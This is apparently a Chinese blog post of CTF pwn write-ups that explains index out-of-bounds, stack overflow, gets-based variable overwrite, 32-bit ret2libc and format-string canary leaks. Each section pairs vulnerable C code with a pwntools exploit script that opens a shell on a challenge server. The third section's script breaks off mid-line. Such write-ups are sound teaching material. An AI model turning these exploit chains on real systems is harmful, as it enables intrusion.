当前位置:首页 > 技术 > 正文内容

二进制安全实战:栈溢出、索引越界与格式化字符串漏洞解析

访客 技术 2026年7月7日 1

一、 数组索引越界与 ROP 链构造

在处理数组或列表操作时,若未对索引进行严格的边界检查,极易引发越界访问。以下是一个典型的菜单驱动型程序,其"修改"功能存在明显的索引越界漏洞。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int global_count = 0;

void init_env() { /* 初始化环境 */ }

int main(int argc, char **argv, char **envp) {
    long long data_array[18];
    int choice;
    long long idx, val;
    
    init_env();
    memset(data_array, 0, sizeof(data_array));
    
    while (1) {
        puts("Menu:");
        printf("Current size: %d\n", global_count);
        puts("1: Modify\n2: Append\n3: Remove\n4: Display\n5: Quit\nChoice:");
        scanf("%d", &choice);
        
        if (choice == 5) break;
        
        switch (choice) {
            case 3:
                printf("Index to remove: ");
                scanf("%lld", &idx);
                if (idx >= global_count) {
                    puts("Error!");
                    break;
                }
                for (long long i = idx; i < global_count; i++) {
                    data_array[i] = data_array[i+1];
                }
                global_count--;
                puts("Done");
                break;
            case 2:
                if (++global_count <= 16) {
                    printf("Value: ");
                    scanf("%lld", &val);
                    data_array[global_count] = val;
                } else {
                    puts("Error!");
                }
                break;
            case 1:
                if (global_count > 16) {
                    puts("Error!");
                    break;
                }
                scanf("%lld %lld", &idx, &val);
                // 漏洞点:未对 idx 进行上限检查,导致可向上越界覆盖栈帧
                data_array[idx] = val; 
                break;
            case 4:
                if (global_count > 16) {
                    puts("Error!");
                    break;
                }
                for (int i = 1; i <= global_count; i++) {
                    printf("%lld ", data_array[i]);
                }
                putchar('\n');
                break;
        }
    }
    return 0;
}

通过逆向分析可知,data_array 的大小为 18,但在选项 1(Modify)中,程序仅检查了 global_count,而未限制 idx 的范围。利用此越界漏洞,攻击者可以覆盖栈上的返回地址。利用思路为:通过越界写入构造 ROP 链,泄露 puts 的 GOT 表地址以计算 libc 基址,随后返回主函数进行第二次溢出,最终实现 ret2libc

from pwn import *

context.arch = 'amd64'
io = remote('175.27.249.18', 32465)
binary = ELF('./pwn_list')
libc = ELF('./libc.so.6')

rop_pop_rdi = 0x400ad3
rop_ret = 0x4005c9
plt_puts = binary.plt['puts']
got_puts = binary.got['puts']
addr_main = binary.symbols['main']

def modify_element(index, value):
    io.sendlineafter(b'Choice:', b'1')
    io.sendline(f'{index} {value}'.encode())

# 阶段一:泄露 puts 地址
modify_element(19, rop_pop_rdi)
modify_element(20, got_puts)
modify_element(21, plt_puts)
modify_element(22, addr_main)

io.sendlineafter(b'Choice:', b'5')

leaked_puts = u64(io.recv(6).ljust(8, b'\x00'))
libc.address = leaked_puts - libc.symbols['puts']
addr_system = libc.symbols['system']
addr_binsh = next(libc.search(b'/bin/sh'))

log.info(f"puts: {hex(leaked_puts)}")
log.info(f"system: {hex(addr_system)}")

# 阶段二:触发 system("/bin/sh")
modify_element(19, rop_ret)
modify_element(20, rop_pop_rdi)
modify_element(21, addr_binsh)
modify_element(22, addr_system)

io.sendlineafter(b'Choice:', b'5')
io.interactive()

二、 基础栈溢出与 Ret2libc

基础的栈溢出题目通常提供足够大的输入空间以覆盖返回地址。以下代码展示了典型的 read 函数导致的缓冲区溢出。

void setup() { /* 环境初始化 */ }

void vulnerable_function() {
    char buffer[32];
    setup();
    puts("Welcome to the challenge!");
    puts("Input your payload:");
    read(0, buffer, 0x100);
    puts("Goodbye!");
}

int main() {
    vulnerable_function();
    return 0;
}

利用 pwntools 构造 payload,首先利用 puts 泄露 libc 地址,随后再次返回 main 函数执行 system("/bin/sh")

from pwn import *

context.arch = 'amd64'
io = remote('node5.buuoj.cn', 29269)
binary = ELF('./ret2libc')

plt_puts = binary.plt['puts']
got_puts = binary.got['puts']
addr_main = binary.symbols['main']
rop_pop_rdi = 0x400763
rop_ret = 0x400506

offset = 0x28
io.recvuntil(b'Input your payload:')

# 泄露阶段
payload = flat({offset: [rop_pop_rdi, got_puts, plt_puts, rop_ret, addr_main]})
io.sendline(payload)

leaked_puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.info(f"Leaked puts: {hex(leaked_puts)}")

libc = LibcSearcher('puts', leaked_puts)
libc_base = leaked_puts - libc.dump('puts')
addr_system = libc_base + libc.dump('system')
addr_binsh = libc_base + libc.dump('str_bin_sh')

# 利用阶段
io.recvuntil(b'Input your payload:')
payload = flat({offset: [rop_pop_rdi, addr_binsh, addr_system]})
io.sendline(payload)

io.interactive()

三、 变量覆盖与条件分支劫持

当局部变量在栈上的布局存在特定顺序时,溢出不仅可以覆盖返回地址,还可以覆盖关键的控制流变量。

void check_number() {
    char user_input[44];
    float target_value = 0.0;
    
    puts("Enter a string to guess the magic number.");
    gets(user_input);
    
    if (target_value == 11.28125) {
        system("cat /flag");
    } else {
        puts("Wrong value! It should be 11.28125.");
    }
}

由于 gets 不限制输入长度,且 user_input 位于 target_value 之前,攻击者可通过填充垃圾字节直接覆盖浮点数变量,使其满足条件分支,从而执行 system 函数。

from pwn import *
import struct

io = remote('node5.buuoj.cn', 25027)

magic_float = 11.28125
magic_bytes = struct.pack('

四、 32位架构下的 Ret2libc 与调用约定差异

在进行 ret2libc 攻击时,必须注意 32 位与 64 位系统调用约定的核心差异。在 64 位系统(如 x86_64)中,函数参数主要通过寄存器传递(如 rdi, rsi);而在 32 位系统(如 i386)中,参数是通过栈帧传递的。

32位和64位调用的区别

以下是一个 32 位环境下的溢出点:

void process_input() {
    char data[58];
    puts("like");
    read(0, data, 0x50);
}

在构造 32 位 ROP 链时,栈上的布局应为:[返回地址] + [参数1] + [参数2]...。此外,在编写利用脚本时,需严格匹配程序输出的换行符(如使用 sendafter(b'like\n', ...)),以避免因输入流错位导致利用失败。

from pwn import *

context.arch = 'i386'
context.os = 'linux'
io = remote('1.95.36.136', 2149)
binary = ELF('./pwn1')

plt_puts = binary.plt['puts']
got_puts = binary.got['puts']
addr_main = 0x08048561

# 偏移量 = 缓冲区大小 (0x3A) + 保存的 EBP (4字节)
offset = 0x3A + 4 

# 阶段一:泄露 puts 地址
# 32位调用约定:返回地址后紧跟参数
payload = flat({offset: [plt_puts, addr_main, got_puts]})
io.sendafter(b'like\n', payload)

leaked_puts = u32(io.recv(4))
log.info(f"Leaked puts: {hex(leaked_puts)}")

libc = LibcSearcher('puts', leaked_puts)
libc_base = leaked_puts - libc.dump('puts')
addr_system = libc_base + libc.dump('system')
addr_binsh = libc_base + libc.dump('str_bin_sh')

# 阶段二:获取 Shell
# 调用 system 时,需提供一个假的返回地址(如 0xdeadbeef)作为占位符
payload = flat({offset: [addr_system, 0xdeadbeef, addr_binsh]})
io.sendafter(b'like\n', payload)

io.interactive()

五、 格式化字符串泄露 Canary 与栈溢出组合利用

当程序同时存在格式化字符串漏洞和栈溢出漏洞,且开启了 Canary 保护时,可先利用前者泄露 Canary,再绕过保护进行栈溢出。

void trigger_vuln() {
    char buffer[100];
    // 编译器在此处隐式插入 Canary 校验机制
    
    gets(buffer);
    printf(buffer);
    
    gets(buffer);
    printf(buffer);
}

通过调试计算偏移量:buffer 位于 ebp-0x70,Canary 位于 ebp-0xc。两者相差 100 字节。在 32 位系统中,100 字节对应 25 个栈单元。结合 printf 的参数偏移,可确定 Canary 位于第 31 个参数位置。

from pwn import *

context.arch = 'i386'
io = remote('1.95.36.136', 2074)
binary = ELF('./pwn_fmt')

addr_gets = 0x8048430
addr_system = 0x8048460
addr_buffer = 0x804A080

# 阶段一:泄露 Canary
io.sendline(b'%31$x')
canary_raw = io.recvuntil(b'00')
canary = int(canary_raw[-8:], 16)
log.info(f"Leaked Canary: {hex(canary)}")

# 阶段二:构造栈溢出 Payload
# 布局:[100字节填充] + [Canary] + [12字节填充(含保存的EBP等)] + [ROP链]
offset_to_canary = 100
padding_after_canary = 12

payload = flat({
    offset_to_canary: canary,
    offset_to_canary + 4 + padding_after_canary: [
        addr_gets,      # 首先调用 gets 读取 "sh" 到 buffer
        addr_system,    # gets 返回后执行 system
        addr_buffer,    # gets 的参数
        addr_buffer     # system 的参数
    ]
})

io.sendline(payload)
io.sendline(b'sh')

io.interactive()

六、 受限输入下的格式化字符串分析

在某些高难度题目中,输入长度和格式化字符串的执行次数会受到严格限制。以下代码展示了这种受限环境:

void restricted_vuln(unsigned int limit) {
    char small_buf[4];
    printf("Enter limited data: ");
    read(0, small_buf, limit);
}

int main() {
    char fmt_buf[4];
    int chances, spaces;
    
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    
    printf("Enter number of chances: ");
    scanf("%d", &chances);
    if (chances <= 0) exit(1);
    
    for (int i = 0; i < chances; i++) {
        printf("Input: ");
        scanf("%3s", fmt_buf); // 限制每次只能输入 3 个字符
        printf("Output: ");
        printf(fmt_buf);
    }
    
    printf("Enter space limit (<5): ");
    scanf("%d", &spaces);
    if (spaces <= 5) {
        restricted_vuln(spaces); // read 长度受限
    }
    
    return 0;
}

在此场景中,scanf("%3s", fmt_buf) 将每次格式化字符串的输入严格限制在 3 个字节内,这使得常规的 %n 写入或长偏移泄露变得极其困难。同时,后续的 read 函数也被限制在 5 字节以内。解决此类问题通常需要利用程序自身的逻辑(如循环次数控制)结合短字节写入技术(如逐字节覆盖 GOT 表),或利用未初始化的栈内存进行信息泄露。

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。